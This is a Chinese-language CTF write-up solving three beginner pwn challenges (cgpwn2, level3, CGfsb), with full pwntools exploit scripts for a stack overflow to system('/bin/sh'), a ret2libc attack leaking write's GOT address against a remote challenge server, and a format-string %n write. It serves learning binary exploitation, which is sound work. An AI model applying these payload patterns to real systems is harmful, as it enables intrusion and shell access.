「攻防世界」Pwn - cgpwn2|level3|CGfsb WriteUps

cgpwn2 | level3 | CGfsb

碎碎念

因为这半个月事情很多（摆邮 major/APEX/期中考），加上新环境一直有问题，所以基本上没有什么关于 CTF 的内容:I 但是其他的事情也基本没什么进展

马上又要打比赛了，想着临时抱佛 jio 冲一哈，先把这几个简单的栈相关的题目搞一下:<

原本想要每题都做一个详尽的 WP 水文章来着，但是好像比较基础就合在一起了:>

cgpwn2

直接拖进 checksec/ida

这题意图就很明显了：在第一个 gets 中输入指令（"/bin/sh"），第二个 gets 中溢出然后调用 system 函数

system + 返回地址 + 指令

于是找出偏移和地址，轻松写出 exp>

from pwn import *

context(log_level='debug')

r = process('./53c24fc5522e4a8ea2d9ad0577196b2f')

r.recvuntil('your name\\n')
r.sendline(b'/bin/sh')

cmd_addr = 0x0804A080
system_addr = 0x08048420
payload = b'A'*0x2A + p32(system_addr) + p32(0) + p32(cmd_addr)

r.recvuntil('here:\\n')
r.sendline(payload)
r.interactive()

拿到 flagcyberpeace{53e372c0f3209a11ef4429e8e2546bbf}

level3

看题目介绍应该是 ret2libc 的题，这是我第一题 libc 泄露，所以着重讲讲

知识点：CTF-WIKI

下载下来是一个 gz 压缩文件，解压出来是一个 so 文件和 elf 文件

（结果我 tar 解压的时候不知道为什么名字不能自动补全，手搓了 32 位 md5 码的文件名了属于是）

按照惯例 checksec 看一下(checksec 也不知道为什么软连接搞不上，我要吐力)

总之先上 EXP:

from pwn import *

context(log_level="DEBUG")
# r = process("./level3")
r = remote("111.200.241.244", 53829)
elf = ELF("./level3")
libc = ELF("./libc_32.so.6")

write_plt = elf.plt["write"]
write_got = elf.got["write"]
func = elf.sym["vulnerable_function"]

payload1 = b'a'*0x88 + b'aaaa' + p32(write_plt) + p32(func) + p32(1) + p32(write_got) + p32(4)
r.recvuntil("Input:\\n")
r.sendline(payload1)

write_addr = u32(r.recv(4))

write_libc = libc.sym["write"]
system_libc = libc.sym["system"]
bin_sh_libc = next(libc.search(b"/bin/sh"))
print('write_addr: ', hex(write_addr))

libc_base = write_addr - write_libc
system_addr = libc_base + system_libc
bin_sh_addr = libc_base + bin_sh_libc

print('bin_sh_addr: ', hex(bin_sh_addr))
print('system_addr: ', hex(system_addr))

payload2 = b'a'*0x88 + b'aaaa' + p32(system_addr) + p32(0) + p32(bin_sh_addr)
r.recvuntil("Input:\\n")
r.send(payload2)
r.interactive()

这里有个很奇怪的点，我写 exp 的时候用的是 Python3.10.0，但是本地调试的时候这个 exploit 是过不了的，换成 py2 又可以过

关键是我只更改了bin_sh_libc这里的代码，py2 用的是generator.next()，而 py3 用的是next(generator)，但是结果是一样的。

我把最后的 payload 打印出来对比也没有任何区别（肉眼上）。但是 Py3 远程又是能过的^ ^，不知道什么高手情况。

分析

整个程序非常简单，也只有一个vulnerable_function可以利用，但是程序中并没有利用到 system 函数，这里就自然的引出了 GOT 表泄露。

得益于 libc 的延迟绑定机制，我们如果知道 libc 中某个函数的地址，就可以通过其在程序中的地址与 libc 中地址的差算出偏移。又由于 libc.so 动态链接库中的函数之间相对偏移是固定的，得到了偏移，再通过 libc 中我们想要的函数的地址，就可以确定其函数在程序当中的地址。

payload1 = b'a'*0x88 + b'aaaa' + p32(write_plt) + p32(func) + p32(1) + p32(write_got) + p32(4)

首先看 payload1，先填充 buf 不多说，覆盖返回地址这里值得注意：

我们先将返回地址覆盖为 write_plt，再将 func 作为 write 函数的返回地址，后面再填 write 的三个参数，这样做的话在 write 结束后就又会跳转会vulnerable_function()这里，便可以截到 write 的 GOT 地址

接下来就是算偏移和找地址，不多赘述。

此时程序又一次运行到了read()函数这里，那直接轻松覆盖一个 system 函数上去就好了:>

CGfsb

一眼 FormatString

需要使得0x0804A068这个地址的变量pwnme为 8

先找到格式化字符串的参数在第几个

from pwn import *

context(log_level="DEBUG")
r = process("./e41a0f684d0e497f87bb309f91737e4d")

r.sendlineafter("your name:\\n", p32(0x0804A068))
r.recvuntil('please:\\n')
r.sendline(b'AAAA' + b'%x.'*0x10)
r.recvuntil("is:\\n")
print(r.recv())

可以看到 41414141 在第十个参数的位置，那么我们只需要把 pwnme 的地址写入，然后通过%n 把 8 写入它就好了

最后的 exp:

from pwn import *

context(log_level="DEBUG")
r = process("./e41a0f684d0e497f87bb309f91737e4d")

r.sendlineafter("your name:\\n", p32(0x0804A068))
r.recvuntil('please:\\n')
r.sendline(p32(0x0804A068) + b'AAAA' + b'%10$n')
r.interactive()

至此，宣告 PWN 的新手区 AK（不容易啊 🥵）